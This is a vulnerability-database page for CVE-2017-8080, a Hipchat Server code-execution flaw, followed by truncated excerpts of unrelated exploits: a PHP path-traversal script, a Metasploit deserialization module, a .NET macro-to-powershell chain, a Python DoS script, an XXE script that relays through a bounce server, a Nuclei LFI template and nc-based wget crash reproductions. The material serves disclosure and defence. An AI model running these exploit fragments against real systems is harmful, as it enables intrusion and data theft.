CVE-2017-8080
published 2017-05-05CVE-2017-8080: Atlassian Hipchat Server before 2.2.4 allows remote authenticated users with user level privileges to execute arbitrary code via vectors involving image…
PriorityP353high8.8CVSS 3.0
AVNACLPRLUINSUCHIHAH
EPSS
2.55%
83.3th percentile
Atlassian Hipchat Server before 2.2.4 allows remote authenticated users with user level privileges to execute arbitrary code via vectors involving image uploads.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| atlassian | hipchat_server | <= 2.2.3 | — |
CVSS provenance
nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
exploitdb·2021-03-22·CVSS 7.5
CVE-2017-1000170 [HIGH] WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
---
# Exploit Title: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
# Date: 19/03/2021
# Exploit Author: Nicholas Ferreira
# Vendor Homepage: https://github.com/A5hleyRich/delightful-downloads
# Version: $data));
#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); //debug w/ burp
if($random_agent){
curl_setopt($ch, CURLOPT_USERAGENT, $agents[rand(0,count($agents)-1)]);
}
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function parse_dir($str){ // by raina77ow =)
$contents = array();
$startFrom = $contentStart = $contentEnd = 0;
while (false !== ($contentStart = strpos($str, 'rel="', $startFrom))){
$contentStart += 5;
$contentEnd = strpos($str, '">', $contentStart);
Exploit-DB
HP Intelligent Management - Java Deserialization Remote Code Execution (Metasploit)
exploitdb·2018-12-04
CVE-2017-12557 HP Intelligent Management - Java Deserialization Remote Code Execution (Metasploit)
HP Intelligent Management - Java Deserialization Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule "HP Intelligent Management Java Deserialization RCE",
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
this vulnerability.
The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
default. The issue results from the lack of proper validation of user-supplied data, which can result
in deserialization of untrusted data. An attacker c
Exploit-DB
Microsoft Windows .NET Framework - Remote Code Execution
exploitdb·2017-09-13·CVSS 7.8
CVE-2017-8759 [HIGH] Microsoft Windows .NET Framework - Remote Code Execution
Microsoft Windows .NET Framework - Remote Code Execution
---
Source: https://github.com/Voulnet/CVE-2017-8759-Exploit-sample
Running CVE-2017-8759 exploit sample.
Flow of the exploit:
Word macro runs in the Doc1.doc file. The macro downloads a badly formatted txt file over wsdl, which triggers the WSDL parser log. Then the parsing log results in running mshta.exe which in turn runs a powershell commands that runs mspaint.exe
To test:
Run a webserver on port 8080, and put the files exploit.txt and cmd.hta on its root. For example python -m SimpleHTTPServer 8080
If all is good mspaint should run.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42711.zip
Exploit-DB
Evostream Media Server 1.7.1 (x64) - Denial of Service
exploitdb·2017-03-07·CVSS 7.5
CVE-2017-6427 [HIGH] Evostream Media Server 1.7.1 (x64) - Denial of Service
Evostream Media Server 1.7.1 (x64) - Denial of Service
---
# Exploit Title: Evostream Media Server 1.7.1 – Built-in Webserver DoS
# Date: 2017-03-07
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://evostream.com/software-downloads/
# Version: 1.7.1
# Tested on: Windows Server 2008 R2 Standard x64
# CVE : CVE-2017-6427
# 2017-03-02: Vulnerability reported
# 2017-03-03: Software vendor answered, vulnerability details shared
# 2017-03-07: No answer, publishing
import socket
import sys
try:
host = sys.argv[1]
port = 8080
except IndexError:
print "[+] Usage %s " % sys.argv[0]
sys.exit()
buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Geck
Exploit-DB
Grails PDF Plugin 0.6 - XML External Entity Injection
exploitdb·2017-02-21
Grails PDF Plugin 0.6 - XML External Entity Injection
Grails PDF Plugin 0.6 - XML External Entity Injection
---
# Exploit Title: Grails PDF Plugin 0.6 XXE
# Date: 21/02/2017
# Vendor Homepage: http://www.grails.org/plugin/pdf
# Software Link: https://github.com/aeischeid/grails-pdfplugin
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/grails-pdf-plugin-xxe
# Version: 0.6
# CVE : N/A
1. dump_file.py
#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe
import requests
import sys
import os
# Base URL of the Grails target
URL = 'http://10.0.0.179:8080/grailstest'
# "Bounce" HTTP Server
BOUNCE = 'http://10.0.0.138:7777/'
session = requests.Session()
pdfForm = '/pdf/pdfForm?url='
renderPage = 'render.html'
if len(sys.argv) ' %
Nuclei
Yaws 1.91 - Local File Inclusion
nuclei·CVSS 7.5
CVE-2017-10974 [HIGH] Yaws 1.91 - Local File Inclusion
Yaws 1.91 - Local File Inclusion
Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
Template:
id: CVE-2017-10974
info:
name: Yaws 1.91 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
impact: |
The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade to a patched version of Yaws or apply the necessary security patches.
reference:
- https://www.exploit-db.com/exploits/42303
- https://nvd.nist.gov/vuln/detail/CVE-2017-10974
- http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
-
HackerOne
CVE-2017-13090 wget heap smash
hackerone·2019-11-12·CVSS 8.8
CVE-2017-13090 [HIGH] CVE-2017-13090 wget heap smash
CVE-2017-13090 wget heap smash
The retr.c:fd_read_body() function is called when processing OK responses. When the response is sent chunked in wget before 1.19.2, the chunk parser uses strtol() to read each chunk's length, but doesn't check that the chunk length is a non-negative number. The code then tries to read the chunk in pieces of 8192 bytes by using the MIN() macro, but ends up passing the negative chunk length to retr.c:fd_read(). As fd_read() takes an int argument, the high 32 bits of the chunk length are discarded, leaving fd_read() with a completely attacker controlled length argument. The attacker can corrupt malloc metadata after the allocated buffer.
Reproduction
To reproduce, use two terminals. In the first terminal:
$ nc -l -p 8080 <wget-heap-smash.reply
In the second te
HackerOne
CVE-2017-13089 wget stack smash
hackerone·2019-11-12·CVSS 8.8
CVE-2017-13089 [HIGH] CVE-2017-13089 wget stack smash
CVE-2017-13089 wget stack smash
The http.c:skip_short_body() function is called in some circumstances, such as when processing redirects. When the response is sent chunked in wget before 1.19.2, the chunk parser uses strtol() to read each chunk's length, but doesn't check that the chunk length is a non-negative number. The code then tries to skip the chunk in pieces of 512 bytes by using the MIN() macro, but ends up passing the negative chunk length to connect.c:fd_read(). As fd_read() takes an int argument, the high 32 bits of the chunk length are discarded, leaving fd_read() with a completely attacker controlled length argument.
Reproduction:
To reproduce, use two terminals. In the first terminal:
$ nc -l -p 8080 <wget-stack-smash.reply
In the second terminal:
$ wget http://127.0.0.1:8
http://www.securityfocus.com/bid/98262https://confluence.atlassian.com/hc/hipchat-server-security-advisory-2017-04-24-894234898.htmlhttps://jira.atlassian.com/browse/HCPUB-2980http://www.securityfocus.com/bid/98262https://confluence.atlassian.com/hc/hipchat-server-security-advisory-2017-04-24-894234898.htmlhttps://jira.atlassian.com/browse/HCPUB-2980
2017-05-05
Published